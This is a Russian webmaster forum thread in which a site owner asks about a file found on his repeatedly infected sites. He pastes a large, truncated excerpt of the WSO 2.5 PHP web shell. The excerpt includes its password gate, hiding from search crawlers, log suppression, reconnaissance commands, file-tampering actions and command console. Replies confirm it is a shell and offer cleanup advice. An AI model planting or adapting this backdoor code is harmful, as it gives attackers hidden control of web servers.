Нашел странный файл

12
Alexis510
На сайте с 13.05.2011
Offline
125
3702

Здравствуйте! Хотел узнать такую штуку.... Около месяца назад мои сайты начали заражать вирусами, не успел я удалить вредоносный код, как через перу дней (7-10) дней опять появлялись вирусы. Я уже поменял пароли от акаунта хостера, поменял пароль и полностью закрыл доступ по ФТП, но все ровно вирусы появлялись (что странно, что появлялись только на старых раскрученных сайтах с хорошей посещаемостью, а на новых не было). Я взял и полностью скопировал все сайты на комп, чтобы тщательно их просмотреть и наше вот такой файл, которого в стандартном движке ДЛЕ нет. Файл называется db.php со следующим содержанием :



<?php # Web Shell by oRb
$auth_pass = "7fb79d52836f1b1b184b06676d54349f";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",

}
echo '</div>';
wsoFooter();
}

function actionMagicTouch() {
wsoHeader();
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!'; wsoFooter(); return; }
global $sort;
$sort = array('name', 1);

$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => @filemtime($GLOBALS['cwd'].$dirContent[$i]),
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);

echo '<h1>Magic Touch</h1><div class=content>';


if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}

function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

................................................



Меня интересует следующее:

1) Что это за файл?? Это шелл??

2) Если я удалил его их хостинга, а также снова сменил все пароли и запретил доступ по ФПТ, может он снова появится?

3) Что еще нужно сделать, чтобы этот файл не залили обратно?

П.С. Заранее спасибо за помощь. :)

molo
На сайте с 30.09.2011
Offline
139
#1

Дайте угадаю, у Вас стоит не Касперский? Ммм... NOD32?

LEOnidUKG
На сайте с 25.11.2006
Offline
1723
#2
<?php # Web Shell by oRb

Ну куда ещё понятнее?

Дайте угадаю, у Вас стоит не Касперский? Ммм... NOD32?

У меня стоит нод32 и ч0?

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/
molo
На сайте с 30.09.2011
Offline
139
#3
LEOnidUKG:
Ну куда ещё понятнее?



У меня стоит нод32 и ч0?

Ну просто я убедился, что это не антивирус.

Geers
На сайте с 12.04.2011
Offline
487
#4
molo:
Ну просто я убедился, что это не антивирус.

НОД32 вообще не антивир, купил аваст, после НОДа удалил 27 вирусов, с высокой степенью опасности.

siv1987
На сайте с 02.04.2009
Offline
427
#5

1. Да

2. Может

3. Залатать дыры в скрипте

molo
На сайте с 30.09.2011
Offline
139
#6
Geers:
НОД32 вообще не антивир, купил аваст, после НОДа удалил 27 вирусов, с высокой степенью опасности.

Такая же ситуация. Когда стояла эта "программа называющая себя антивирусом" приходилось еженедельно вычищать компьютер от всякой заразы "Malwarebytes Anti-malware".

AM
На сайте с 31.03.2012
Offline
0
AMM
#7

Рекомендую все сделать пошагово:

1. Очистить компьютер от вирусов: поставить аваст и дополнительно утилиту по выявлению шпионского ПО.

Также не стоит пренебрегать фаерволлом с ручной настройкой доступа приложений.

2. Изменить все пароли: почтовые ящики, доступ к админ-панели, администраторов в БД сайта.

3. Если IP статичный, все сессии привяжите к своему IP.

Самое главное - разделяйте машины для работы и отдыха. На рабочих используйте только лицензионное ПО, не посещайте сомнительные сайты.

Болезнь лучше предупреждать, нежели лечить :)

The WishMaster
На сайте с 29.09.2005
Offline
2543
#8

Гошшподи... ну вроде ж не пятница :( Откуда они вылазят?!

AMM:
лицензионное ПО

Причем тут это?!

Пешу текста дешыго! Тематики - туризм, СЕО, творчество, кулинария, шизотерика :)
AM
На сайте с 31.03.2012
Offline
0
AMM
#9
The WishMaster:
Причем тут это?!

В пиратском софте в 99% случаев - трояны.

Никакой антивир при грамотной криптовке не заметит ;)

The WishMaster
На сайте с 29.09.2005
Offline
2543
#10
AMM:
В пиратском софте в 99% случаев - трояны.

Тяжелый случай. Ты, случаем, не сотрудник майкрософта?

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий